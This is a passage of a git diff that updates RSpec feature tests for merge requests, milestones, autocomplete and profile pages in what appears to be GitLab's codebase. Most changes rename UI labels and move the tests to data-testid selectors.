+ write_comment(selector: '.js-main-target-form', field: 'note-body', text: 'Its a regular comment', button_text: 'Add comment now')
+
+ expect(page).to have_selector('.note:not(.draft-note)', text: 'Its a regular comment')
+
+ click_button('Pending comments')
+
+ expect(page).to have_text('1 pending comment')
+ end
+ end
end
context 'in parallel diff' do
@@ -197,46 +246,51 @@ RSpec.describe 'Merge request > Batch comments', :js do
wait_for_requests
end
- def write_comment(button_text: 'Start a review', text: 'Line is wrong')
- click_diff_line(find("[id='#{sample_compare.changes[0][:line_code]}']"))
-
- page.within('.js-discussion-note-form') do
- fill_in('note_note', with: text)
- click_button(button_text)
- end
+ def visit_overview
+ visit project_merge_request_path(merge_request.project, merge_request)
wait_for_requests
end
- def write_parallel_comment(line, button_text: 'Start a review', text: 'Line is wrong')
+ def write_diff_comment(**params)
+ click_diff_line(find("[id='#{sample_compare.changes[0][:line_code]}']"))
+
+ write_comment(**params)
+ end
+
+ def write_parallel_comment(line, **params)
find("td[id='#{line}']").hover
find(".is-over button").click
- page.within("form[data-line-code='#{line}']") do
- fill_in('note_note', with: text)
+ write_comment(selector: "form[data-line-code='#{line}']", **params)
+ end
+
+ def write_comment(selector: '.js-discussion-note-form', field: 'note_note', button_text: 'Start a review', text: 'Line is wrong')
+ page.within(selector) do
+ fill_in(field, with: text)
click_button(button_text)
end
wait_for_requests
end
-end
-def write_reply_to_discussion(button_text: 'Start a review', text: 'Line is wrong', resolve: false, unresolve: false)
- page.within(first('.diff-files-holder .discussion-reply-holder')) do
- find_field('Reply…', match: :first).click
+ def write_reply_to_discussion(button_text: 'Start a review', text: 'Line is wrong', resolve: false, unresolve: false)
+ page.within(first('.diff-files-holder .discussion-reply-holder')) do
+ find_field('Reply…', match: :first).click
- fill_in('note_note', with: text)
+ fill_in('note_note', with: text)
- if resolve
- page.check('Resolve thread')
- end
+ if resolve
+ page.check('Resolve thread')
+ end
+
+ if unresolve
+ page.check('Unresolve thread')
+ end
- if unresolve
- page.check('Unresolve thread')
+ click_button(button_text)
end
- click_button(button_text)
+ wait_for_requests
end
-
- wait_for_requests
end
diff --git a/spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb b/spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb
index fd13083c185..d36abf86518 100644
--- a/spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb
+++ b/spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe 'create a merge request, allowing commits from members who can me
check 'Allow commits from members who can merge to the target branch'
- click_button 'Submit merge request'
+ click_button 'Create merge request'
wait_for_requests
diff --git a/spec/features/merge_request/user_awards_emoji_spec.rb b/spec/features/merge_request/user_awards_emoji_spec.rb
index 62e4209f386..6f46cc20cba 100644
--- a/spec/features/merge_request/user_awards_emoji_spec.rb
+++ b/spec/features/merge_request/user_awards_emoji_spec.rb
@@ -17,33 +17,28 @@ RSpec.describe 'Merge request > User awards emoji', :js do
end
it 'adds award to merge request' do
- first('.js-emoji-btn').click
- expect(page).to have_selector('.js-emoji-btn.active')
- expect(first('.js-emoji-btn')).to have_content '1'
+ first('[data-testid="award-button"]').click
+ expect(page).to have_selector('[data-testid="award-button"].is-active')
+ expect(first('[data-testid="award-button"]')).to have_content '1'
visit project_merge_request_path(project, merge_request)
- expect(first('.js-emoji-btn')).to have_content '1'
+ expect(first('[data-testid="award-button"]')).to have_content '1'
end
it 'removes award from merge request' do
- first('.js-emoji-btn').click
- find('.js-emoji-btn.active').click
- expect(first('.js-emoji-btn')).to have_content '0'
+ first('[data-testid="award-button"]').click
+ find('[data-testid="award-button"].is-active').click
+ expect(first('[data-testid="award-button"]')).to have_content '0'
visit project_merge_request_path(project, merge_request)
- expect(first('.js-emoji-btn')).to have_content '0'
- end
-
- it 'has only one menu on the page' do
- first('.js-add-award').click
- expect(page).to have_selector('.emoji-menu')
-
- expect(page).to have_selector('.emoji-menu', count: 1)
+ expect(first('[data-testid="award-button"]')).to have_content '0'
end
it 'adds awards to note' do
- first('.js-note-emoji').click
- first('.emoji-menu .js-emoji-btn').click
+ page.within('.note-actions') do
+ first('.note-emoji-button').click
+ find('gl-emoji[data-name="8ball"]').click
+ end
wait_for_requests
diff --git a/spec/features/merge_request/user_creates_merge_request_spec.rb b/spec/features/merge_request/user_creates_merge_request_spec.rb
index 37d329d4d5d..119cf31098c 100644
--- a/spec/features/merge_request/user_creates_merge_request_spec.rb
+++ b/spec/features/merge_request/user_creates_merge_request_spec.rb
@@ -31,7 +31,7 @@ RSpec.describe "User creates a merge request", :js do
end
fill_in("Title", with: title)
- click_button("Submit merge request")
+ click_button("Create merge request")
page.within(".merge-request") do
expect(page).to have_content(title)
@@ -87,7 +87,7 @@ RSpec.describe "User creates a merge request", :js do
click_button("Compare branches and continue")
- expect(page).to have_css("h3.page-title", text: "New Merge Request")
+ expect(page).to have_css("h3.page-title", text: "New merge request")
page.within("form#new_merge_request") do
fill_in("Title", with: title)
@@ -103,7 +103,7 @@ RSpec.describe "User creates a merge request", :js do
end
find('.js-assignee-search').click
- click_button("Submit merge request")
+ click_button("Create merge request")
expect(page).to have_content(title).and have_content("Request to merge #{user.namespace.path}:#{source_branch} into master")
end
diff --git a/spec/features/merge_request/user_invites_from_a_comment_spec.rb b/spec/features/merge_request/user_invites_from_a_comment_spec.rb
new file mode 100644
index 00000000000..79865094fd0
--- /dev/null
+++ b/spec/features/merge_request/user_invites_from_a_comment_spec.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe "User invites from a comment", :js do
+ let_it_be(:project) { create(:project, :public, :repository) }
+ let_it_be(:merge_request) { create(:merge_request, source_project: project) }
+ let_it_be(:user) { project.owner }
+
+ before do
+ sign_in(user)
+ end
+
+ it "launches the invite modal from invite link on a comment" do
+ stub_experiments(invite_members_in_comment: :invite_member_link)
+
+ visit project_merge_request_path(project, merge_request)
+
+ page.within(".new-note") do
+ click_button 'Invite Member'
+ end
+
+ expect(page).to have_content("You're inviting members to the")
+ end
+end
diff --git a/spec/features/merge_request/user_posts_notes_spec.rb b/spec/features/merge_request/user_posts_notes_spec.rb
index 3099a893dc2..a6dfae72912 100644
--- a/spec/features/merge_request/user_posts_notes_spec.rb
+++ b/spec/features/merge_request/user_posts_notes_spec.rb
@@ -173,7 +173,7 @@ RSpec.describe 'Merge request > User posts notes', :js do
it 'allows using markdown buttons after saving a note and then trying to edit it again' do
page.within('.current-note-edit-form') do
fill_in 'note[note]', with: 'This is the new content'
- find('.btn-success').click
+ find('.btn-confirm').click
end
find('.note').hover
@@ -182,16 +182,16 @@ RSpec.describe 'Merge request > User posts notes', :js do
find('.js-note-edit').click
page.within('.current-note-edit-form') do
- expect(find('#note_note').value).to include('This is the new content')
+ expect(find_field('note[note]').value).to include('This is the new content')
first('.js-md').click
- expect(find('#note_note').value).to include('This is the new content****')
+ expect(find_field('note[note]').value).to include('This is the new content****')
end
end
it 'appends the edited at time to the note' do
page.within('.current-note-edit-form') do
fill_in 'note[note]', with: 'Some new content'
- find('.btn-success').click
+ find('.btn-confirm').click
end
page.within("#note_#{note.id}") do
diff --git a/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb b/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb
index caa04059469..9a3f97a0943 100644
--- a/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb
+++ b/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb
@@ -15,10 +15,6 @@ RSpec.describe 'Merge request > User resolves diff notes and threads', :js do
diff_refs: merge_request.diff_refs)
end
- before do
- stub_feature_flags(remove_resolve_note: false)
- end
-
context 'no threads' do
before do
project.add_maintainer(user)
@@ -67,7 +63,7 @@ RSpec.describe 'Merge request > User resolves diff notes and threads', :js do
it 'allows user to mark thread as resolved' do
page.within '.diff-content' do
- click_button 'Resolve thread'
+ find('button[data-qa-selector="resolve_discussion_button"]').click
end
expect(page).to have_selector('.discussion-body', visible: false)
@@ -84,7 +80,7 @@ RSpec.describe 'Merge request > User resolves diff notes and threads', :js do
it 'allows user to unresolve thread' do
page.within '.diff-content' do
- click_button 'Resolve thread'
+ find('button[data-qa-selector="resolve_discussion_button"]').click
click_button 'Unresolve thread'
end
@@ -96,7 +92,7 @@ RSpec.describe 'Merge request > User resolves diff notes and threads', :js do
describe 'resolved thread' do
before do
page.within '.diff-content' do
- click_button 'Resolve thread'
+ find('button[data-qa-selector="resolve_discussion_button"]').click
end
visit_merge_request
@@ -197,7 +193,7 @@ RSpec.describe 'Merge request > User resolves diff notes and threads', :js do
it 'allows user to resolve from reply form without a comment' do
page.within '.diff-content' do
- click_button 'Resolve thread'
+ find('button[data-qa-selector="resolve_discussion_button"]').click
end
page.within '.line-resolve-all-container' do
@@ -234,7 +230,7 @@ RSpec.describe 'Merge request > User resolves diff notes and threads', :js do
it 'hides jump to next button when all resolved' do
page.within '.diff-content' do
- click_button 'Resolve thread'
+ find('button[data-qa-selector="resolve_discussion_button"]').click
end
expect(page).to have_selector('.discussion-next-btn', visible: false)
@@ -264,7 +260,7 @@ RSpec.describe 'Merge request > User resolves diff notes and threads', :js do
visit_merge_request
end
- it 'does not mark thread as resolved when resolving single note' do
+ it 'marks thread as resolved when resolving single note' do
page.within("#note_#{note.id}") do
first('.line-resolve-btn').click
@@ -273,15 +269,13 @@ RSpec.describe 'Merge request > User resolves diff notes and threads', :js do
expect(first('.line-resolve-btn')['aria-label']).to eq("Resolved by #{user.name}")
end
- expect(page).to have_content('Last updated')
-
page.within '.line-resolve-all-container' do
- expect(page).to have_content('1 unresolved thread')
+ expect(page).to have_content('All threads resolved')
end
end
it 'resolves thread' do
- resolve_buttons = page.all('.note .line-resolve-btn', count: 2)
+ resolve_buttons = page.all('.note .line-resolve-btn', count: 1)
resolve_buttons.each do |button|
button.click
end
@@ -332,7 +326,7 @@ RSpec.describe 'Merge request > User resolves diff notes and threads', :js do
it 'allows user to mark all threads as resolved' do
page.all('.discussion-reply-holder', count: 2).each do |reply_holder|
page.within reply_holder do
- click_button 'Resolve thread'
+ find('button[data-qa-selector="resolve_discussion_button"]').click
end
end
@@ -344,7 +338,7 @@ RSpec.describe 'Merge request > User resolves diff notes and threads', :js do
it 'allows user to quickly scroll to next unresolved thread' do
page.within('.discussion-reply-holder', match: :first) do
- click_button 'Resolve thread'
+ find('button[data-qa-selector="resolve_discussion_button"]').click
end
page.within '.line-resolve-all-container' do
@@ -416,7 +410,7 @@ RSpec.describe 'Merge request > User resolves diff notes and threads', :js do
it 'allows user to mark thread as resolved' do
page.within '.diff-content' do
- click_button 'Resolve thread'
+ find('button[data-qa-selector="resolve_discussion_button"]').click
end
page.within '.diff-content .note' do
@@ -431,7 +425,7 @@ RSpec.describe 'Merge request > User resolves diff notes and threads', :js do
it 'allows user to unresolve thread' do
page.within '.diff-content' do
- click_button 'Resolve thread'
+ find('button[data-qa-selector="resolve_discussion_button"]').click
click_button 'Unresolve thread'
end
@@ -459,7 +453,7 @@ RSpec.describe 'Merge request > User resolves diff notes and threads', :js do
it 'allows user to comment & unresolve thread' do
page.within '.diff-content' do
- click_button 'Resolve thread'
+ find('button[data-qa-selector="resolve_discussion_button"]').click
find_field('Reply…').click
diff --git a/spec/features/merge_request/user_sees_breadcrumb_links_spec.rb b/spec/features/merge_request/user_sees_breadcrumb_links_spec.rb
index 95e435a333e..d8b258bac47 100644
--- a/spec/features/merge_request/user_sees_breadcrumb_links_spec.rb
+++ b/spec/features/merge_request/user_sees_breadcrumb_links_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe 'New merge request breadcrumb' do
it 'displays link to project merge requests and new merge request' do
page.within '.breadcrumbs' do
- expect(find_link('Merge Requests')[:href]).to end_with(project_merge_requests_path(project))
+ expect(find_link('Merge requests')[:href]).to end_with(project_merge_requests_path(project))
expect(find_link('New')[:href]).to end_with(project_new_merge_request_path(project))
end
end
diff --git a/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb b/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb
index ad0e9b48903..733b5a97fea 100644
--- a/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb
+++ b/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb
@@ -26,7 +26,6 @@ RSpec.describe 'Merge request > User sees pipelines triggered by merge request',
end
before do
- stub_feature_flags(new_pipelines_table: false)
stub_application_setting(auto_devops_enabled: false)
stub_ci_pipeline_yaml_file(YAML.dump(config))
project.add_maintainer(user)
@@ -62,7 +61,7 @@ RSpec.describe 'Merge request > User sees pipelines triggered by merge request',
it 'sees branch pipelines and detached merge request pipelines in correct order' do
page.within('.ci-table') do
- expect(page).to have_selector('.ci-pending', count: 2)
+ expect(page).to have_selector('.ci-created', count: 2)
expect(first('[data-testid="pipeline-url-link"]')).to have_content("##{detached_merge_request_pipeline.id}")
end
end
@@ -154,7 +153,7 @@ RSpec.describe 'Merge request > User sees pipelines triggered by merge request',
context 'when detached merge request pipeline succeeds' do
before do
- detached_merge_request_pipeline.succeed!
+ detached_merge_request_pipeline.reload.succeed!
wait_for_requests
end
@@ -168,7 +167,7 @@ RSpec.describe 'Merge request > User sees pipelines triggered by merge request',
context 'when branch pipeline succeeds' do
before do
click_link 'Overview'
- push_pipeline.succeed!
+ push_pipeline.reload.succeed!
wait_for_requests
end
@@ -197,7 +196,7 @@ RSpec.describe 'Merge request > User sees pipelines triggered by merge request',
it 'sees a branch pipeline in pipeline tab' do
page.within('.ci-table') do
- expect(page).to have_selector('.ci-pending', count: 1)
+ expect(page).to have_selector('.ci-created', count: 1)
expect(first('[data-testid="pipeline-url-link"]')).to have_content("##{push_pipeline.id}")
end
end
@@ -333,6 +332,31 @@ RSpec.describe 'Merge request > User sees pipelines triggered by merge request',
end
end
+ context 'when the latest pipeline is running in the parent project' do
+ before do
+ Ci::CreatePipelineService.new(project, user, ref: 'feature')
+ .execute(:merge_request_event, merge_request: merge_request)
+ end
+
+ context 'when the previous pipeline failed in the fork project' do
+ before do
+ detached_merge_request_pipeline.reload.drop!
+ end
+
+ context 'when the parent project enables pipeline must succeed' do
+ before do
+ project.update!(only_allow_merge_if_pipeline_succeeds: true)
+ end
+
+ it 'shows MWPS button' do
+ visit project_merge_request_path(project, merge_request)
+
+ expect(page).to have_button('Merge when pipeline succeeds')
+ end
+ end
+ end
+ end
+
context 'when a user merges a merge request from a forked project to the parent project' do
before do
click_link("Overview")
@@ -351,7 +375,7 @@ RSpec.describe 'Merge request > User sees pipelines triggered by merge request',
context 'when detached merge request pipeline succeeds' do
before do
- detached_merge_request_pipeline.succeed!
+ detached_merge_request_pipeline.reload.succeed!
wait_for_requests
end
@@ -364,7 +388,7 @@ RSpec.describe 'Merge request > User sees pipelines triggered by merge request',
context 'when branch pipeline succeeds' do
before do
- push_pipeline.succeed!
+ push_pipeline.reload.succeed!
wait_for_requests
end
diff --git a/spec/features/merge_request/user_sees_merge_widget_spec.rb b/spec/features/merge_request/user_sees_merge_widget_spec.rb
index 05fa5459e06..0cb4107c21d 100644
--- a/spec/features/merge_request/user_sees_merge_widget_spec.rb
+++ b/spec/features/merge_request/user_sees_merge_widget_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe 'Merge request > User sees merge widget', :js do
end
it 'shows widget status after creating new merge request' do
- click_button 'Submit merge request'
+ click_button 'Create merge request'
wait_for_requests
diff --git a/spec/features/merge_request/user_sees_mini_pipeline_graph_spec.rb b/spec/features/merge_request/user_sees_mini_pipeline_graph_spec.rb
index c0dc2ec3baf..e5592ae9535 100644
--- a/spec/features/merge_request/user_sees_mini_pipeline_graph_spec.rb
+++ b/spec/features/merge_request/user_sees_mini_pipeline_graph_spec.rb
@@ -23,7 +23,7 @@ RSpec.describe 'Merge request < User sees mini pipeline graph', :js do
end
it 'displays a mini pipeline graph' do
- expect(page).to have_selector('.mr-widget-pipeline-graph')
+ expect(page).to have_selector('[data-testid="pipeline-mini-graph"]')
end
context 'as json' do
@@ -57,6 +57,10 @@ RSpec.describe 'Merge request < User sees mini pipeline graph', :js do
first(dropdown_selector)
end
+ before do
+ wait_for_requests
+ end
+
# Status icon button styles should update as described in
# https://gitlab.com/gitlab-org/gitlab-foss/issues/42769
it 'has unique styles for default, :hover, :active, and :focus states' do
diff --git a/spec/features/merge_request/user_sees_notes_from_forked_project_spec.rb b/spec/features/merge_request/user_sees_notes_from_forked_project_spec.rb
index ea46ae06329..b8b7fc2009f 100644
--- a/spec/features/merge_request/user_sees_notes_from_forked_project_spec.rb
+++ b/spec/features/merge_request/user_sees_notes_from_forked_project_spec.rb
@@ -28,8 +28,8 @@ RSpec.describe 'Merge request > User sees notes from forked project', :js do
page.within('.discussion-notes') do
find_field('Reply…').click
- scroll_to(page.find('#note_note', visible: false))
- find('#note_note').send_keys('A reply comment')
+ scroll_to(find_field('note[note]', visible: false))
+ fill_in 'note[note]', with: 'A reply comment'
find('.js-comment-button').click
end
diff --git a/spec/features/merge_request/user_sees_pipelines_spec.rb b/spec/features/merge_request/user_sees_pipelines_spec.rb
index 77d2cb77ae3..a5047c8d550 100644
--- a/spec/features/merge_request/user_sees_pipelines_spec.rb
+++ b/spec/features/merge_request/user_sees_pipelines_spec.rb
@@ -41,7 +41,7 @@ RSpec.describe 'Merge request > User sees pipelines', :js do
context 'with a detached merge request pipeline' do
let(:merge_request) { create(:merge_request, :with_detached_merge_request_pipeline) }
- it 'displays the Run Pipeline button' do
+ it 'displays the "Run pipeline" button' do
visit project_merge_request_path(project, merge_request)
page.within('.merge-request-tabs') do
@@ -50,14 +50,14 @@ RSpec.describe 'Merge request > User sees pipelines', :js do
wait_for_requests
- expect(page.find('[data-testid="run_pipeline_button"]')).to have_text('Run Pipeline')
+ expect(page.find('[data-testid="run_pipeline_button"]')).to have_text('Run pipeline')
end
end
context 'with a merged results pipeline' do
let(:merge_request) { create(:merge_request, :with_merge_request_pipeline) }
- it 'displays the Run Pipeline button' do
+ it 'displays the "Run pipeline" button' do
visit project_merge_request_path(project, merge_request)
page.within('.merge-request-tabs') do
@@ -66,7 +66,7 @@ RSpec.describe 'Merge request > User sees pipelines', :js do
wait_for_requests
- expect(page.find('[data-testid="run_pipeline_button"]')).to have_text('Run Pipeline')
+ expect(page.find('[data-testid="run_pipeline_button"]')).to have_text('Run pipeline')
end
end
end
@@ -131,7 +131,7 @@ RSpec.describe 'Merge request > User sees pipelines', :js do
visit project_merge_request_path(parent_project, merge_request)
create_merge_request_pipeline
- act_on_security_warning(action: 'Run Pipeline')
+ act_on_security_warning(action: 'Run pipeline')
check_pipeline(expected_project: parent_project)
check_head_pipeline(expected_project: parent_project)
@@ -175,7 +175,7 @@ RSpec.describe 'Merge request > User sees pipelines', :js do
def create_merge_request_pipeline
page.within('.merge-request-tabs') { click_link('Pipelines') }
- click_button('Run Pipeline')
+ click_button('Run pipeline')
end
def check_pipeline(expected_project:)
diff --git a/spec/features/merge_request/user_selects_branches_for_new_mr_spec.rb b/spec/features/merge_request/user_selects_branches_for_new_mr_spec.rb
index 9850ca3f173..275a87ca391 100644
--- a/spec/features/merge_request/user_selects_branches_for_new_mr_spec.rb
+++ b/spec/features/merge_request/user_selects_branches_for_new_mr_spec.rb
@@ -60,7 +60,7 @@ RSpec.describe 'Merge request > User selects branches for new MR', :js do
expect(page).to have_content "wm.png"
fill_in "merge_request_title", with: "Orphaned MR test"
- click_button "Submit merge request"
+ click_button "Create merge request"
click_button "Check out branch"
@@ -200,7 +200,7 @@ RSpec.describe 'Merge request > User selects branches for new MR', :js do
click_button "Compare branches"
- expect(page).to have_button("Submit merge request")
+ expect(page).to have_button("Create merge request")
end
end
end
diff --git a/spec/features/merge_request/user_squashes_merge_request_spec.rb b/spec/features/merge_request/user_squashes_merge_request_spec.rb
index 84964bd0637..15f59c0d7bc 100644
--- a/spec/features/merge_request/user_squashes_merge_request_spec.rb
+++ b/spec/features/merge_request/user_squashes_merge_request_spec.rb
@@ -92,7 +92,7 @@ RSpec.describe 'User squashes a merge request', :js do
before do
visit project_new_merge_request_path(project, merge_request: { target_branch: 'master', source_branch: source_branch })
check 'merge_request[squash]'
- click_on 'Submit merge request'
+ click_on 'Create merge request'
wait_for_requests
end
@@ -121,7 +121,7 @@ RSpec.describe 'User squashes a merge request', :js do
context 'when squash is not enabled on merge request creation', :sidekiq_might_not_need_inline do
before do
visit project_new_merge_request_path(project, merge_request: { target_branch: 'master', source_branch: source_branch })
- click_on 'Submit merge request'
+ click_on 'Create merge request'
wait_for_requests
end
diff --git a/spec/features/merge_request/user_views_open_merge_request_spec.rb b/spec/features/merge_request/user_views_open_merge_request_spec.rb
index 5f99d762ecb..f1b44010f63 100644
--- a/spec/features/merge_request/user_views_open_merge_request_spec.rb
+++ b/spec/features/merge_request/user_views_open_merge_request_spec.rb
@@ -125,7 +125,7 @@ RSpec.describe 'User views an open merge request' do
end
it 'encodes branch name' do
- expect(find('cite.ref-name')[:title]).to eq(source_branch)
+ expect(find("[data-testid='ref-name']")[:title]).to eq(source_branch)
end
end
end
diff --git a/spec/features/milestones/user_creates_milestone_spec.rb b/spec/features/milestones/user_creates_milestone_spec.rb
index d80796b8f9a..dd377aa4a26 100644
--- a/spec/features/milestones/user_creates_milestone_spec.rb
+++ b/spec/features/milestones/user_creates_milestone_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe "User creates milestone", :js do
end
it "creates milestone" do
- title = "v2.3".freeze
+ title = "v2.3"
fill_in("Title", with: title)
fill_in("Description", with: "# Description header")
diff --git a/spec/features/milestones/user_views_milestone_spec.rb b/spec/features/milestones/user_views_milestone_spec.rb
index 9c19f842427..8674d59afdf 100644
--- a/spec/features/milestones/user_views_milestone_spec.rb
+++ b/spec/features/milestones/user_views_milestone_spec.rb
@@ -98,7 +98,7 @@ RSpec.describe "User views milestone" do
visit(project_milestone_path(project, milestone))
within('.js-milestone-tabs') do
- click_link('Merge Requests')
+ click_link('Merge requests')
end
wait_for_requests
@@ -116,7 +116,7 @@ RSpec.describe "User views milestone" do
visit(group_milestone_path(group, group_milestone))
within('.js-milestone-tabs') do
- click_link('Merge Requests')
+ click_link('Merge requests')
end
expect(page.find('#tab-merge-requests')).to have_text(project.name)
diff --git a/spec/features/milestones/user_views_milestones_spec.rb b/spec/features/milestones/user_views_milestones_spec.rb
index f8b4b802a60..58439df92ba 100644
--- a/spec/features/milestones/user_views_milestones_spec.rb
+++ b/spec/features/milestones/user_views_milestones_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe "User views milestones" do
expect(page).to have_content(milestone.title)
.and have_content(milestone.expires_at)
.and have_content("Issues")
- .and have_content("Merge Requests")
+ .and have_content("Merge requests")
end
context "with issues", :js do
@@ -80,7 +80,6 @@ RSpec.describe "User views milestones with no MR" do
expect(page).to have_content(milestone.title)
.and have_content(milestone.expires_at)
.and have_content("Issues")
- .and have_no_content("Merge Requests")
end
it "opens milestone" do
diff --git a/spec/features/participants_autocomplete_spec.rb b/spec/features/participants_autocomplete_spec.rb
index b22778012a8..2781cfffbaf 100644
--- a/spec/features/participants_autocomplete_spec.rb
+++ b/spec/features/participants_autocomplete_spec.rb
@@ -3,9 +3,9 @@
require 'spec_helper'
RSpec.describe 'Member autocomplete', :js do
- let(:project) { create(:project, :public) }
- let(:user) { create(:user) }
- let(:author) { create(:user) }
+ let_it_be(:project) { create(:project, :public, :repository) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:author) { create(:user) }
let(:note) { create(:note, noteable: noteable, project: noteable.project) }
before do
@@ -15,20 +15,16 @@ RSpec.describe 'Member autocomplete', :js do
shared_examples "open suggestions when typing @" do |resource_name|
before do
- page.within('.new-note') do
- if resource_name == 'commit'
- find('#note_note').send_keys('@')
- else
- find('#note-body').send_keys('@')
- end
+ if resource_name == 'commit'
+ fill_in 'note[note]', with: '@'
+ else
+ fill_in 'Comment', with: '@'
end
end
it 'suggests noteable author and note author' do
- page.within('.atwho-view', visible: true) do
- expect(page).to have_content(author.username)
- expect(page).to have_content(note.author.username)
- end
+ expect(find_autocomplete_menu).to have_text(author.username)
+ expect(find_autocomplete_menu).to have_text(note.author.username)
end
end
@@ -51,22 +47,17 @@ RSpec.describe 'Member autocomplete', :js do
stub_feature_flags(tribute_autocomplete: true)
visit project_issue_path(project, noteable)
- page.within('.new-note') do
- find('#note-body').send_keys('@')
- end
+ fill_in 'Comment', with: '@'
end
it 'suggests noteable author and note author' do
- page.within('.tribute-container', visible: true) do
- expect(page).to have_content(author.username)
- expect(page).to have_content(note.author.username)
- end
+ expect(find_tribute_autocomplete_menu).to have_content(author.username)
+ expect(find_tribute_autocomplete_menu).to have_content(note.author.username)
end
end
end
context 'adding a new note on a Merge Request' do
- let(:project) { create(:project, :public, :repository) }
let(:noteable) do
create(:merge_request, source_project: project,
target_project: project, author: author)
@@ -80,7 +71,6 @@ RSpec.describe 'Member autocomplete', :js do
end
context 'adding a new note on a Commit' do
- let(:project) { create(:project, :public, :repository) }
let(:noteable) { project.commit }
let(:note) { create(:note_on_commit, project: project, commit_id: project.commit.id) }
@@ -94,4 +84,14 @@ RSpec.describe 'Member autocomplete', :js do
include_examples "open suggestions when typing @", 'commit'
end
+
+ private
+
+ def find_autocomplete_menu
+ find('.atwho-view ul', visible: true)
+ end
+
+ def find_tribute_autocomplete_menu
+ find('.tribute-container ul', visible: true)
+ end
end
diff --git a/spec/features/profiles/emails_spec.rb b/spec/features/profiles/emails_spec.rb
index bdf1f8b022a..6b6f628e2d5 100644
--- a/spec/features/profiles/emails_spec.rb
+++ b/spec/features/profiles/emails_spec.rb
@@ -43,7 +43,7 @@ RSpec.describe 'Profile > Emails' do
end
it 'user removes email' do
- user.emails.create(email: 'my@email.com')
+ user.emails.create!(email: 'my@email.com')
visit profile_emails_path
expect(page).to have_content("my@email.com")
@@ -52,7 +52,7 @@ RSpec.describe 'Profile > Emails' do
end
it 'user confirms email' do
- email = user.emails.create(email: 'my@email.com')
+ email = user.emails.create!(email: 'my@email.com')
visit profile_emails_path
expect(page).to have_content("#{email.email} Unverified")
@@ -64,7 +64,7 @@ RSpec.describe 'Profile > Emails' do
end
it 'user re-sends confirmation email' do
- email = user.emails.create(email: 'my@email.com')
+ email = user.emails.create!(email: 'my@email.com')
visit profile_emails_path
expect { click_link("Resend confirmation email") }.to have_enqueued_job.on_queue('mailers')
@@ -72,7 +72,7 @@ RSpec.describe 'Profile > Emails' do
end
it 'old unconfirmed emails show Send Confirmation button' do
- email = user.emails.create(email: 'my@email.com')
+ email = user.emails.create!(email: 'my@email.com')
email.update_attribute(:confirmation_sent_at, nil)
visit profile_emails_path
diff --git a/spec/features/profiles/password_spec.rb b/spec/features/profiles/password_spec.rb
index 039966080d8..c9059395377 100644
--- a/spec/features/profiles/password_spec.rb
+++ b/spec/features/profiles/password_spec.rb
@@ -119,7 +119,7 @@ RSpec.describe 'Profile > Password' do
before do
sign_in(user)
- user.update(password_expires_at: 1.hour.ago)
+ user.update!(password_expires_at: 1.hour.ago)
user.identities.delete
expect(user.ldap_user?).to eq false
end
diff --git a/spec/features/profiles/personal_access_tokens_spec.rb b/spec/features/profiles/personal_access_tokens_spec.rb
index 9e56ef087ae..c85657c89d5 100644
--- a/spec/features/profiles/personal_access_tokens_spec.rb
+++ b/spec/features/profiles/personal_access_tokens_spec.rb
@@ -95,7 +95,7 @@ RSpec.describe 'Profile > Personal Access Tokens', :js do
end
it "removes expired tokens from 'active' section" do
- personal_access_token.update(expires_at: 5.days.ago)
+ personal_access_token.update!(expires_at: 5.days.ago)
visit profile_personal_access_tokens_path
expect(page).to have_selector(".settings-message")
diff --git a/spec/features/profiles/user_edit_profile_spec.rb b/spec/features/profiles/user_edit_profile_spec.rb
index bd4917824d1..57f7c7878e3 100644
--- a/spec/features/profiles/user_edit_profile_spec.rb
+++ b/spec/features/profiles/user_edit_profile_spec.rb
@@ -212,8 +212,10 @@ RSpec.describe 'User edit profile' do
end
it 'shows author as busy in the assignee dropdown' do
- find('.block.assignee .edit-link').click
- wait_for_requests
+ page.within('.assignee') do
+ click_button('Edit')
+ wait_for_requests
+ end
page.within '.dropdown-menu-user' do
expect(page).to have_content("#{user.name} (Busy)")
@@ -227,7 +229,7 @@ RSpec.describe 'User edit profile' do
visit project_issue_path(project, issue)
wait_for_requests
- expect(page.find('[data-testid="expanded-assignee"]')).to have_text("#{user.name} (Busy)")
+ expect(page.find('.issuable-assignees')).to have_content("#{user.name} (Busy)")
end
end
diff --git a/spec/features/profiles/user_search_settings_spec.rb b/spec/features/profiles/user_search_settings_spec.rb
index 60df0d7532b..64a8556e349 100644
--- a/spec/features/profiles/user_search_settings_spec.rb
+++ b/spec/features/profiles/user_search_settings_spec.rb
@@ -10,9 +10,11 @@ RSpec.describe 'User searches their settings', :js do
end
context 'in profile page' do
- let(:visit_path) { profile_path }
+ before do
+ visit profile_path
+ end
- it_behaves_like 'can search settings with feature flag check', 'Public Avatar', 'Main settings'
+ it_behaves_like 'can search settings', 'Public Avatar', 'Main settings'
end
context 'in preferences page' do
diff --git a/spec/features/projects/active_tabs_spec.rb b/spec/features/projects/active_tabs_spec.rb
index 86fe59f003f..9de43e7d18c 100644
--- a/spec/features/projects/active_tabs_spec.rb
+++ b/spec/features/projects/active_tabs_spec.rb
@@ -79,7 +79,7 @@ RSpec.describe 'Project active tab' do
visit project_merge_requests_path(project)
end
- it_behaves_like 'page has active tab', 'Merge Requests'
+ it_behaves_like 'page has active tab', 'Merge requests'
end
context 'on project Wiki' do
diff --git a/spec/features/projects/blobs/blob_line_permalink_updater_spec.rb b/spec/features/projects/blobs/blob_line_permalink_updater_spec.rb
index a65a82fab43..1a368676a5e 100644
